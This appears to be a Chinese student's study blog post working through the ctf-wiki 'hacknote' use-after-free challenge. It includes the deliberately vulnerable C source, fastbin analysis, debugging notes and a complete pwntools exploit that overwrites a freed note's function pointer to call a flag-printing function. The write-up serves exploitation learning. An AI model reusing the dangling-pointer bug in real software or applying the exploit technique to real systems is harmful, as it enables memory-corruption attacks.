前言

忙完了两周的考试，打算开始学习一些漏洞相关的。就从ctf-wiki的pwn入手学习。之后还是从ctf刷题开始。

源码:

#include <stdio.h> #include <stdlib.h> #include <unistd.h> struct note { void (*printnote)(); char *content; }; struct note *notelist[5]; int count = 0; void print_note_content(struct note *this) { puts(this->content); } void add_note() { int i; char buf[8]; int size; if (count > 5) { puts("Full"); return; } for (i = 0; i < 5; i++) { if (!notelist[i]) { notelist[i] = (struct note *)malloc(sizeof(struct note)); if (!notelist[i]) { puts("Alloca Error"); exit(-1); } notelist[i]->printnote = print_note_content; printf("Note size :"); read(0, buf, 8); size = atoi(buf); notelist[i]->content = (char *)malloc(size); if (!notelist[i]->content) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, notelist[i]->content, size); puts("Success !"); count++; break; } } } void del_note() { char buf[4]; int idx; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= count) { puts("Out of bound!"); _exit(0); } if (notelist[idx]) { free(notelist[idx]->content); free(notelist[idx]); puts("Success"); } } void print_note() { char buf[4]; int idx; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= count) { puts("Out of bound!"); _exit(0); } if (notelist[idx]) { notelist[idx]->printnote(notelist[idx]); } } void magic() { system("cat flag"); } void menu() { puts("----------------------"); puts(" HackNote "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); printf("Your choice :"); }; int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); char buf[4]; while (1) { menu(); read(0, buf, 4); switch (atoi(buf)) { case 1: add_note(); break; case 2: del_note(); break; case 3: print_note(); break; case 4: exit(0); break; default: puts("Invalid choice"); break; } } return 0; }

编译

gcc -m32 hacknote.c -o hacknote

原理

简单的说，Use After Free 就是其字面所表达的意思，当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

内存块被释放后，其对应的指针被设置为 NULL ， 然后再次使用，自然程序会崩溃。内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外，我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

功能分析

我们可以简单分析下程序，可以看出在程序的开头有个 menu 函数，其中有

puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit ");

故而程序应该主要有 3 个功能。之后程序会根据用户的输入执行相应的功能。

add_note

根据程序，我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段 put 与 content，其中 put 会被设置为一个函数，其函数会输出 content 具体的内容。

unsigned int add_note() { note *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf; // [esp+14h] [ebp-14h] unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !notelist[i] ) { notelist[i] = malloc(8u); if ( !notelist[i] ) { puts("Alloca Error"); exit(-1); } notelist[i]->put = print_note_content; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = notelist[i]; v0->content = malloc(size); if ( !notelist[i]->content ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, notelist[i]->content, size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }

print_note

print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容。

unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) notelist[v1]->put(notelist[v1]); return __readgsdword(0x14u) ^ v3; }

delete_note

delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是，在 删除的时候，只是单纯进行了 free，而没有设置为 NULL，那么显然，这里是存在 Use After Free 的情况的。

unsigned int del_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) { free(notelist[v1]->content); free(notelist[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }

利用分析

我们可以看到 Use After Free 的情况确实可能会发生，那么怎么可以让它发生并且进行利用呢？需要同时注意的是，这个程序中还有一个 magic 函数，我们有没有可能来通过 use after free 来使得这个程序执行 magic 函数呢？一个很直接的想法是修改 note 的 put 字段为 magic 函数的地址，从而实现在执行 print note 的时候执行 magic 函数。 那么该怎么执行呢？

我们可以简单来看一下每一个 note 生成的具体流程

程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。

程序根据输入的 size 来申请指定大小的内存，然后用来存储 content。

+-----------------+ | put | +-----------------+ | content | size +-----------------+------------------->+----------------+ | real | | content | | | +----------------+

那么，根据我们之前在堆的实现中所学到的，显然 note 是一个 fastbin chunk（大小为 16 字节）。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址，那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下

申请 note0，real content size 为 16（大小与 note 大小所在的 bin 不一样即可）申请 note1，real content size 为 16（大小与 note 大小所在的 bin 不一样即可）释放 note0释放 note1此时，大小为 16 的 fast bin chunk 中链表为 note1->note0申请 note2，并且设置 real content 的大小为 8，那么根据堆的分配规则note2 其实会分配 note1 对应的内存块。real content 对应的 chunk 其实是 note0。如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址，那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候，程序就会调用 magic 函数。

调试

首先输入 1 32 aaaa 1 32 bbbb 2 0 2 1，即申请两个note然后进行删除。在free之前与free之后下断点观察。

第一次删除free之前，可以看到fastbin里还没有堆块，因为我们申请的堆块尚未归还。

查看我们已申请的堆信息。根据程序，我们一共申请了两个note，每个note对应一个内存堆和一个print_note函数 对应大小分别为0x10与0x28。(大小由我们申请的可用字段组成和prev_size 与 size 字段组成)

可以查看一下堆内数据。note里的print_note 地址

接下来查看free后的堆情况

被释放的归还进了fastbin块。根据已学的知识，这是因为size 为 16 24 32…会进入fastbin而不会被合并。具体可以了解fastbin的内容。

同理在delete 第二个note时候，刚刚申请的堆块被释放至fastbin，并且内容并未被修改。

再次申请新的大小为8的堆块后，会将fastbin[0]里的堆块分配。因为LIFO原则，所以原来note1的print_note会被分配成为新堆块的real_contents。此时写入该块内cccc，可以看到将原来的print_note函数地址覆盖。

EXP

from pwn import * r = process('./hacknote') def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) #gdb.attach(r) magic = 0x08048986 addnote(32, "aaaa") # add note 0 addnote(32, "ddaa") # add note 1 delnote(0) # delete note 0 delnote(1) # delete note 1 addnote(8, p32(magic)) # add note 2 printnote(0) # print note 0 r.interactive()

成功利用该UAF。

总结

对于入门级来说，这个比较简单。我顺带的将源说明中的其他详细说明拷贝了过来，便于复习。

明日计划

继续学习pwn，去一下北邮。